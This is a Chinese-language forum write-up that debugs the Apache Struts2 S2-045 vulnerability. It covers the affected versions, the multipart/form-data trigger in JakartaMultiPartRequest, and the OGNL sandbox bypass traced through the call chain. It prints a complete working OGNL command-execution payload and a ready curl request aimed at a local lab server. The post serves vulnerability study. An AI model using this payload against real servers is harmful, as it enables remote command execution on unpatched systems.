Struts漏洞 S2-045 调试学习
CoColi 漏洞分析 10074浏览 · 2019-04-02 01:51

S2-045 调试学习

漏洞版本

2.3.31-2.3.5 2.5-2.5.10

漏洞成因

content-type里有multipart/form-data就会走JakartaMultiPartRequest,捕捉了异常信息(里面带有payload),后又OGNL解析了

payload

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

从burp里面导的curl command

curl -i -s -k  -X $'POST' \
    -H $'Host: 192.168.95.1:8081' -H $'User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36' -H $'Accept: */*' -H $'Connection: close' -H $'Accept-Encoding: gzip, deflate' -H $'Content-Type: %{(#fuck=\'multipart/form-data\').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[\'com.opensymphony.xwork2.ActionContext.container\']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=\'id\').(#iswin=(@java.lang.System@getProperty(\'os.name\').toLowerCase().contains(\'win\'))).(#cmds=(#iswin?{\'cmd.exe\',\'/c\',#cmd}:{\'/bin/bash\',\'-c\',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}' -H $'Content-Length: 0' \
    $'http://192.168.95.1:8081/S2_045_war_exploded/'

调试

修复地方 我把断点也下在这里了

都先经过web.xml 拦截 Struts2PrepareAndExecutefilter
处理请求


这个地方 获取ContentType
2-045的POC一般都有(#nike='multipart/form-data')这样一句,就是使content_type.contains("multipart/form-data")判断为true
继续追踪getMultiPartRequest方法。通过配置struts.multipart.parser属性,可以指定不同的解析类,而默认就是org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest类。

这里已经可以看到是用JakartaMultiPartReques解析了




再继续findText


com.opensymphony.xwork2.util.TextParseUtil.translateVariables(String, ValueStack) 方法主要用于扩展字符串中由 ${} 或 %{} 包裹的 OGNL 表达式,这里也就是 OGNL 的入口,随后 action message 将进入 OGNL 的处理流程,漏洞被触发。



下一步 又继续 解析
com.opensymphony.xwork2.util.TextParseUtil.ParsedValueEvaluator#evaluate

继续跟 发现进了语法树
com.opensymphony.xwork2.ognl.OgnlUtil#compileAndExecute

ognl.ASTVarRef#setValueBody



这个地方执行 OGNL 表达式

在mac上调试的
payload里
#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win’))
执行之后就是false
com.opensymphony.xwork2.ognl.OgnlValueStack#setOgnlUtil

当请求到来的时候,一个ActionContext对象被createActionContext方法创建。
OgnlValueStack 的setOgnlUtil函数被调用,以用来初始化OgnlValueStack 的securityMemberAccess ,这样就获得OgnlUtil的全局实例
这就意味着全局OgnlUtil 实例都共享相同的SET:excludedClasses, excludedPackageNames 和 excludedPackageNamePatterns作为_memberAccess,所以清除这些之后也会清除与_memberAccess相匹配的SET。
在那之后,OGNL 就可以自由的访问DEFAULT_MEMBER_ACCESS对象并且 OgnlContext 的 setMemberAccess 代替了 _memberAccess和DEFAULT_MEMBER_ACCESS,这样就可以执行任意代码了

参考文章

参考文章
作为武器的CVE-2018-11776:绕过Apache Struts 2.5.16 OGNL 沙箱
Struts2 架构图
可能有的地方说的不对,希望师傅们指正(萌新瑟瑟发抖)

0 条评论
某人
表情
可输入 255